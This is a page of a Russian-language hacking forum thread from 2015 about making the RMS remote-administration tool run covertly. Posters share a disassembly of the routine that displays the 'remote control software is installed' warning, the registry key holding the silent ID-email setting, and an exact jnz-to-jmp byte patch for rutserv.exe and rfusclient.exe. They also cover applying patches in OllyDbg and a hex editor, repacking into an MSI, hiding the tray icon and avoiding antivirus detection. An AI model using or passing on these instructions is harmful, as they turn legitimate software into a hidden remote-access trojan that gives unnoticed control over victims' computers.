Скрытый RMS [удаленное администрирование]

Тема в разделе "Самое важное", создана пользователем sawyer1992, 25 фев 2011.

Страница 44 из 49
  1. kiddy911
    kiddy911 Новичок
    Симпатии:
    0
    https://disk.yandex.ru/client/disk/Общаг
     
    27 авг 2015
  2. kiddy911
    kiddy911 Новичок
    Симпатии:
    0
    Патчить нужно installer.exe -он в процессе установки запускает скрипт вызова csrss.exe , который и выбрасывает окно отправки ID.
     
    28 авг 2015
  3. Lazun429
    Lazun429 Новичок
    Симпатии:
    0
    В этом ты сильно ошибаешся. После установки сервера, до первого его запуска, в реестре добавляются дополнительные настройки "notification" по пути
    [HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System\v4\Server\Parameters], в этих настройках спрятано и само мыло, и данные о том, генерировать ID c паролем или нет. При первом запуске сервера именно файл rutserv.exe запускает процедуру отправки ID на мыло если "notification" не пуст. При этом, при нажатии любой из кнопок (ДА или НЕТ) генерируются новые ID и мыло, а "notification" в реестре отчищается. Проверяется это легко - Экспортируеш настройки "notification" (при открытом окне отправки ID на мыло) в файл. И импортируеш эти настройки в реестр перед каждым запуском сервера. При этом каждый раз будет появляться окно!!!
     
    Последнее редактирование: 28 авг 2015
    28 авг 2015
  4. kiddy911
    kiddy911 Новичок
    Симпатии:
    0
    Это не банер - убрать с экрана не проблемма - только не будет отправлять на мыло. Ветка реестра создается инсталером и им же запускается процесс csrss.exe.
     
    29 авг 2015
  5. Lazun429
    Lazun429 Новичок
    Симпатии:
    0
    Я согласен что ветка реестра создается инсталером, но вызывается окно не из инсталера а из самого сервера. Удали Инсталер, востанови ветку и при старте сервера вновь появится окно. я только понять не могу от куда именно идет обращение к csrss.exe.
    Вот тут к примеру в rutserv.exe формируется текст для окна:
    Код:
    007F31D4  /$ 55             push ebp
007F31D5  |. 8BEC           mov ebp,esp
007F31D7  |. 51             push ecx
007F31D8  |. B9 04000000    mov ecx,4
007F31DD  |> 6A 00          /push 0
007F31DF  |. 6A 00          |push 0
007F31E1  |. 49             |dec ecx
007F31E2  |.^75 F9          \jnz short rutserv.007F31DD
007F31E4  |. 51             push ecx
007F31E5  |. 874D FC        xchg dword ptr ss:[ebp-4],ecx
007F31E8  |. 53             push ebx
007F31E9  |. 56             push esi
007F31EA  |. 57             push edi
007F31EB  |. 894D EC        mov dword ptr ss:[ebp-14],ecx
007F31EE  |. 8BF2           mov esi,edx
007F31F0  |. 8BD8           mov ebx,eax
007F31F2  |. 33C0           xor eax,eax
007F31F4  |. 55             push ebp
007F31F5  |. 68 50337F00    push rutserv.007F3350
007F31FA  |. 64:FF30        push dword ptr fs:[eax]
007F31FD  |. 64:8920        mov dword ptr fs:[eax],esp
007F3200  |. BF 02000000    mov edi,2
007F3205  |. 8D45 F4        lea eax,dword ptr ss:[ebp-C]
007F3208  |. 8BCE           mov ecx,esi
007F320A  |. BA 6C337F00    mov edx,rutserv.007F336C                 ;  Уникод "Email: "
007F320F  |. E8 7484C1FF    call rutserv.0040B688
007F3214  |. 8D45 FC        lea eax,dword ptr ss:[ebp-4]
007F3217  |. E8 F872C1FF    call rutserv.0040A514
007F321C  |. E8 1355F6FF    call rutserv.00758734
007F3221  |. 3D 09040000    cmp eax,409
007F3226  |. 74 24          je short rutserv.007F324C
007F3228  |. 8D4D E4        lea ecx,dword ptr ss:[ebp-1C]
007F322B  |. A1 6CB29100    mov eax,dword ptr ds:[91B26C]
007F3230  |. 8B00           mov eax,dword ptr ds:[eax]
007F3232  |. BA 8C337F00    mov edx,rutserv.007F338C                 ;  Уникод "inet_id_send_confirmation"
007F3237  |. E8 3841F6FF    call rutserv.00757374
007F323C  |. 8B55 E4        mov edx,dword ptr ss:[ebp-1C]
007F323F  |. 8D45 FC        lea eax,dword ptr ss:[ebp-4]
007F3242  |. B9 CC337F00    mov ecx,rutserv.007F33CC                 ;  Уникод ""
007F3247  |. E8 3C84C1FF    call rutserv.0040B688
007F324C  |> 8D45 F8        lea eax,dword ptr ss:[ebp-8]
007F324F  |. 8B4D F4        mov ecx,dword ptr ss:[ebp-C]
007F3252  |. BA E0337F00    mov edx,rutserv.007F33E0                 ;  Уникод "Attention! "RMS" remote control software is installed on your PC. This software allows full remote a"
007F3257  |. E8 2C84C1FF    call rutserv.0040B688
007F325C  |. 8D45 FC        lea eax,dword ptr ss:[ebp-4]
007F325F  |. 8B55 F8        mov edx,dword ptr ss:[ebp-8]
007F3262  |. E8 C983C1FF    call rutserv.0040B630
007F3267  |. 8D4D E0        lea ecx,dword ptr ss:[ebp-20]
007F326A  |. A1 6CB29100    mov eax,dword ptr ds:[91B26C]
007F326F  |. 8B00           mov eax,dword ptr ds:[eax]
007F3271  |. BA 34367F00    mov edx,rutserv.007F3634                 ;  Уникод "question"
007F3276  |. E8 F940F6FF    call rutserv.00757374
007F327B  |. 8B4D E0        mov ecx,dword ptr ss:[ebp-20]
007F327E  |. 8D45 F0        lea eax,dword ptr ss:[ebp-10]
007F3281  |. BA 54367F00    mov edx,rutserv.007F3654                 ;  Уникод "Remote Manipulator System - "
007F3286  |. E8 FD83C1FF    call rutserv.0040B688
007F328B  |. 84DB           test bl,bl
007F328D  |. 74 58          je short rutserv.007F32E7
007F328F  |. 8B5D F0        mov ebx,dword ptr ss:[ebp-10]
007F3292  |. 85DB           test ebx,ebx
007F3294  |. 74 05          je short rutserv.007F329B
007F3296  |. 83EB 04        sub ebx,4
007F3299  |. 8B1B           mov ebx,dword ptr ds:[ebx]
007F329B  |> 8B75 FC        mov esi,dword ptr ss:[ebp-4]
007F329E  |. 85F6           test esi,esi
007F32A0  |. 74 05          je short rutserv.007F32A7
007F32A2  |. 83EE 04        sub esi,4
007F32A5  |. 8B36           mov esi,dword ptr ds:[esi]
007F32A7  |> 6A FF          push -1
007F32A9  |. 8D45 E8        lea eax,dword ptr ss:[ebp-18]
007F32AC  |. 50             push eax
007F32AD  |. 6A 00          push 0
007F32AF  |. 6A 34          push 34
007F32B1  |. 8BC6           mov eax,esi
007F32B3  |. 03C0           add eax,eax
007F32B5  |. 50             push eax
007F32B6  |. 8B45 FC        mov eax,dword ptr ss:[ebp-4]
007F32B9  |. E8 5E81C1FF    call rutserv.0040B41C
007F32BE  |. 50             push eax
007F32BF  |. 8BC3           mov eax,ebx
007F32C1  |. 03C0           add eax,eax
007F32C3  |. 50             push eax
007F32C4  |. 8B45 F0        mov eax,dword ptr ss:[ebp-10]
007F32C7  |. E8 5081C1FF    call rutserv.0040B41C
007F32CC  |. 50             push eax
007F32CD  |. 8B45 EC        mov eax,dword ptr ss:[ebp-14]
007F32D0  |. 50             push eax
007F32D1  |. 6A 00          push 0
007F32D3  |. E8 30A8EBFF    call rutserv.006ADB08
007F32D8  |. 83F8 01        cmp eax,1
007F32DB  |. 1BC0           sbb eax,eax
007F32DD  |. 40             inc eax
007F32DE  |. 84C0           test al,al
007F32E0  |. 74 46          je short rutserv.007F3328
007F32E2  |. 8B7D E8        mov edi,dword ptr ss:[ebp-18]
007F32E5  |. EB 41          jmp short rutserv.007F3328
007F32E7  |> 6A 34          push 34
007F32E9  |. 8D4D D8        lea ecx,dword ptr ss:[ebp-28]
007F32EC  |. A1 6CB29100    mov eax,dword ptr ds:[91B26C]
007F32F1  |. 8B00           mov eax,dword ptr ds:[eax]
007F32F3  |. BA 34367F00    mov edx,rutserv.007F3634                 ;  Уникод "question"
007F32F8  |. E8 7740F6FF    call rutserv.00757374
007F32FD  |. 8B4D D8        mov ecx,dword ptr ss:[ebp-28]
007F3300  |. 8D45 DC        lea eax,dword ptr ss:[ebp-24]
007F3303  |. BA 54367F00    mov edx,rutserv.007F3654                 ;  Уникод "Remote Manipulator System - "
007F3308  |. E8 7B83C1FF    call rutserv.0040B688
007F330D  |. 8B45 DC        mov eax,dword ptr ss:[ebp-24]
007F3310  |. E8 0781C1FF    call rutserv.0040B41C
007F3315  |. 50             push eax
007F3316  |. 8B45 FC        mov eax,dword ptr ss:[ebp-4]
007F3319  |. E8 FE80C1FF    call rutserv.0040B41C
007F331E  |. 50             push eax                                 ; |Text
007F331F  |. 6A 00          push 0                                   ; |hOwner = NULL
007F3321  |. E8 AE4DC2FF    call <jmp.&user32.MessageBoxW>           ; \MessageBoxW
007F3326  |. 8BF8           mov edi,eax
007F3328  |> 33C0           xor eax,eax
007F332A  |. 5A             pop edx
007F332B  |. 59             pop ecx
007F332C  |. 59             pop ecx
007F332D  |. 64:8910        mov dword ptr fs:[eax],edx
007F3330  |. 68 57337F00    push rutserv.007F3357
007F3335  |> 8D45 D8        lea eax,dword ptr ss:[ebp-28]
007F3338  |. BA 04000000    mov edx,4
007F333D  |. E8 3272C1FF    call rutserv.0040A574
007F3342  |. 8D45 F0        lea eax,dword ptr ss:[ebp-10]
007F3345  |. BA 04000000    mov edx,4
007F334A  |. E8 2572C1FF    call rutserv.0040A574
007F334F  \. C3             retn
    Стоит заблокировать этот участок и окно больше не появляется, но и письмо не отправляется. Если по адресу 007F31D4 поставить перенаправление на адрес непосредственной отравки самого письма, задача будет выполнена. Только вот где тот самый участок отравляющий мыло?
     
    Последнее редактирование: 30 авг 2015
    30 авг 2015
  6. sirocco
    sirocco Новичок
    Симпатии:
    0
    А можно выложить версию 6.3 уже пропатченный от баннера? отсылка на e-mail мне не нужна, поставлю вручную
     
    3 сен 2015
  7. Lazun429
    Lazun429 Новичок
    Симпатии:
    0
    sirocco, Зачем выкладывать? Чтобы раньше создания нормальной сборки все антивирусники на файлы ругаться начали? Самому пропатчить лень? Вот подсказка - rutserv.exe 6.3.0.1, заменить "jnz rutserv.007DDA61" на "jmp rutserv.007DDA61". rfusclient.exe точно также патчится.
     
    4 сен 2015
  8. Nemo
    Nemo Новичок
    Симпатии:
    7
    Крч, вы интернетах есть крякнутый билдер от небезызвестного Ltybcrf3.
    RMS-Box 2.4.2 [Cracked by PC-RET]
    Гуглите
     
    4 сен 2015
  9. ser_gabriel
    ser_gabriel Новичок
    Симпатии:
    0
    @Nemo, спасибо, щас попробуем
     
    5 сен 2015
  10. Lazun429
    Lazun429 Новичок
    Симпатии:
    0
    Урааааа! Пропатчил я это чертово окно отправки ID на мыло. Подсказку нашел в старой теме этого форума. Дерзайте и у вас все получится. https://xaker.name/threads/23230/page-64 Осталось какнибудь получше упаковать и подменить в msi.
     
    5 сен 2015
  11. Nemo
    Nemo Новичок
    Симпатии:
    7
    Я уже попробовал. Не работает. ложная тревога
     
    5 сен 2015
  12. Lazun429
    Lazun429 Новичок
    Симпатии:
    0
    Так товарищи, в личку больше не буду объяснять что где да как делается. Подсказок достаточно. А в теме порядок выложить, это все равно что файлы на вирустотал антивирусникам скормить. Учитесь сами, самим разве не интересно? В каждой новой версии меняются адреса, а значит и значения байтов. Я что вам буду объяснять как в каждой новой весии патчится?
    П.С. И и ни одной симпатии при этом не добавилось;)
     
    Последнее редактирование: 6 сен 2015
    6 сен 2015
  13. Lazun429
    Lazun429 Новичок
    Симпатии:
    0
    Еще одна подсказка на последок, Ольгой пользуемся для того, чтобы найти нужный адрес, и определить какие байты на какие нужно заменить. Непоследственную правку файла делаем через любой hex редактор, например winhex. находим в редакторе нужную последовательность байтов и заменяем на новые.
     
    6 сен 2015
  14. RevesEX
    RevesEX Новичок
    Симпатии:
    0
    @Lazun429,
    По поводу убирания сообщения об отправке ID, как я понял, вы разобрались, если да - то можно наводку, это оно: "Чтобы раньше создания нормальной сборки все антивирусники на файлы ругаться начали? Самому пропатчить лень? Вот подсказка - rutserv.exe 6.3.0.1, заменить "jnz rutserv.007DDA61" на "jmp rutserv.007DDA61". rfusclient.exe точно также патчится.", и работает ли после проделанных манипуляций отправка на почту?
     
    6 сен 2015
  15. 4ekkk
    4ekkk Новичок
    Симпатии:
    7
    Никто не хочет сам ковыряться всем нужно готовый вариант или просят файлы. o_OГолова и руки для чего даны вам в конце концов?
    Если вы не можете по подсказкам пропатчить сами значит вам просто не к чему эти файлы.
     
    6 сен 2015
  16. scalpel
    scalpel Новичок
    Симпатии:
    4
    Охо,хо!Уже достаточно было подсказок и патчить можно в самой ольке.
     
    6 сен 2015
  17. ser_gabriel
    ser_gabriel Новичок
    Симпатии:
    0
    @Lazun429, я б накинул но еще не могу.
    @scalpel, @4ekkk, для мне все это дремучий лес. Это не мой профиль, я сетевик. Разбираться к сожалению времени просто нет:( того и ищу готовое решение.
     
    8 сен 2015
  18. kiddy911
    kiddy911 Новичок
    Симпатии:
    0
    Интересно , кто-нибудь решил проблему с иконкой в трее?
     
    10 сен 2015
  19. Namezz
    Namezz Новичок
    Симпатии:
    0
    так как все таки убрать окно об отправки на почту?
     
    21 сен 2015
  20. mr.borocco
    mr.borocco Новичок
    Симпатии:
    0
    @Lazun429, как у тебя дела с АВ обстоят?
     
    21 сен 2015
Страница 44 из 49
Загрузка...